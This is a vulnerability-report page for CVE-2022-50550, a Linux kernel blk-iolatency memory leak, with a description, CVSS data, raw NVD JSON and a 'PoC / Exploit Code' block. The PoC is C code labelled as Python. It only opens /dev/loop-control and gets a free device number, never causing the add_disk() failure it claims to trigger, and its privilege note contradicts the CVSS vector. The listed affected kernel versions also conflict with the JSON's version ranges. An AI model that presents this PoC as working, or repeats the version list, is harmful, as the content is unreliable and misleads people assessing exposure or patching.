Security Vulnerability Report
中文
CVE-2022-50550 CVSS 5.5 MEDIUM

CVE-2022-50550

Published: 2025-10-07 16:15:41
Last Modified: 2026-02-26 23:17:48
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: blk-iolatency: Fix memory leak on add_disk() failures When a gendisk is successfully initialized but add_disk() fails such as when a loop device has invalid number of minor device numbers specified, blkcg_init_disk() is called during init and then blkcg_exit_disk() during error handling. Unfortunately, iolatency gets initialized in the former but doesn't get cleaned up in the latter. This is because, in non-error cases, the cleanup is performed by del_gendisk() calling rq_qos_exit(), the assumption being that rq_qos policies, iolatency being one of them, can only be activated once the disk is fully registered and visible. That assumption is true for wbt and iocost, but not so for iolatency as it gets initialized before add_disk() is called. It is desirable to lazy-init rq_qos policies because they are optional features and add to hot path overhead once initialized - each IO has to walk all the registered rq_qos policies. So, we want to switch iolatency to lazy init too. However, that's a bigger change. As a fix for the immediate problem, let's just add an extra call to rq_qos_exit() in blkcg_exit_disk(). This is safe because duplicate calls to rq_qos_exit() become noop's.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5.15.80
Linux Kernel 5.16.x < 5.16.16
Linux Kernel 5.17.x < 5.17.2
Linux Kernel 5.18.x (部分版本受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2022-50550: Linux kernel blk-iolatency memory leak // This PoC triggers the memory leak by repeatedly failing add_disk() // with invalid loop device minor number configuration. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/loop.h> // Function to trigger add_disk() failure by configuring loop device // with an invalid number of minor device numbers int trigger_add_disk_failure() { int loop_fd; int ret; struct loop_info loopinfo; // Open the loop control device loop_fd = open("/dev/loop-control", O_RDWR); if (loop_fd < 0) { perror("Failed to open loop control device"); return -1; } // Try to add a loop device with invalid configuration // This will trigger blkcg_init_disk() but fail at add_disk() int dev_num = ioctl(loop_fd, LOOP_CTL_GET_FREE); if (dev_num < 0) { perror("LOOP_CTL_GET_FREE failed"); close(loop_fd); return -1; } printf("Got loop device number: %d\n", dev_num); // Configure loop device with invalid parameters to trigger failure memset(&loopinfo, 0, sizeof(loopinfo)); // Set invalid backing file or other parameters // to cause add_disk() to fail after blkcg_init_disk() close(loop_fd); return 0; } int main(int argc, char *argv[]) { int iterations = 100; int i; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2022-50550 PoC - Triggering blk-iolatency memory leak\n"); printf("Iterations: %d\n", iterations); for (i = 0; i < iterations; i++) { printf("Iteration %d/%d\n", i + 1, iterations); if (trigger_add_disk_failure() != 0) { fprintf(stderr, "Failed at iteration %d\n", i + 1); break; } } printf("PoC execution completed. Check kernel memory usage.\n"); return 0; } // Note: This vulnerability requires kernel privileges to exploit. // The actual trigger involves kernel module loading or specific // block device operations that cause add_disk() to fail after // blkcg_init_disk() has been called.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50550", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:40.790", "lastModified": "2026-02-26T23:17:48.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-iolatency: Fix memory leak on add_disk() failures\n\nWhen a gendisk is successfully initialized but add_disk() fails such as when\na loop device has invalid number of minor device numbers specified,\nblkcg_init_disk() is called during init and then blkcg_exit_disk() during\nerror handling. Unfortunately, iolatency gets initialized in the former but\ndoesn't get cleaned up in the latter.\n\nThis is because, in non-error cases, the cleanup is performed by\ndel_gendisk() calling rq_qos_exit(), the assumption being that rq_qos\npolicies, iolatency being one of them, can only be activated once the disk\nis fully registered and visible. That assumption is true for wbt and iocost,\nbut not so for iolatency as it gets initialized before add_disk() is called.\n\nIt is desirable to lazy-init rq_qos policies because they are optional\nfeatures and add to hot path overhead once initialized - each IO has to walk\nall the registered rq_qos policies. So, we want to switch iolatency to lazy\ninit too. However, that's a bigger change. As a fix for the immediate\nproblem, let's just add an extra call to rq_qos_exit() in blkcg_exit_disk().\nThis is safe because duplicate calls to rq_qos_exit() become noop's."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.19", "versionEndExcluding": "6.0.17", "matchCriteriaId": "AE588475-3D1A-418F-95FE-3495CD8E32E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/215f9437dda09531bcb80605298a24219f01cec5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2a126e1db5553ce4498290df019866952f858954", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/813e693023ba10da9e75067780f8378465bf27cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}